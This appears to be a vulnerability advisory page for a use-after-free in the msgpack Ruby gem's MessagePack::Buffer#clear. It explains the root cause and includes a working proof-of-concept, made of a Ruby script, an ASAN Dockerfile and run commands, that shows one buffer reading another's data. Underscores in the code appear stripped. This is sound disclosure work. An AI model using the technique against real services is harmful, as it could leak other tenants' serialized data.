PT-2026-66639 · Rubygems · Msgpack

Publicado

2026-07-30

·

Atualizado

2026-07-30

CVSS v4.0

2.1

Baixa

VetorAV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem last, rmem end, rmem owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack buffer clear() msgpack buffer shift chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks ( msgpack buffer chunk destroy, :58, returns the page via msgpack rmem free) but resets only tail buffer end/read buffer, leaving rmem last/rmem end/rmem owner pointing into the freed page.
  • Next Buffer#write msgpack buffer chunk malloc() reuse branch (:363) returns b->rmem last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack rmem alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
bash
set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write reference threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write reference threshold: 4096)
b2.write(secret)
leaked = b1.read all
donor = b2.read all
puts 'b1 first64:' + leaked.byteslice(0, 64)
puts 'b2 donor64:' + donor.byteslice(200, 64)
puts 'leaked is C:' + (leaked == 'C' * 128).to s
puts 'cross buffer match:' + (leaked == donor.byteslice(200, 128)).to s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && 
  cd msgpack-1.8.1/ext/msgpack && 
  MSGPACK DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && 
  make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc 
 bash -c 'export LD PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN OPTIONS=detect leaks=0:halt on error=1:abort on error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output:
b1 first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2 donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked is C:false
cross buffer match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Exploit

Correção

Use After Free

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-4MRV-5P47-P938

Produtos afetados

Msgpack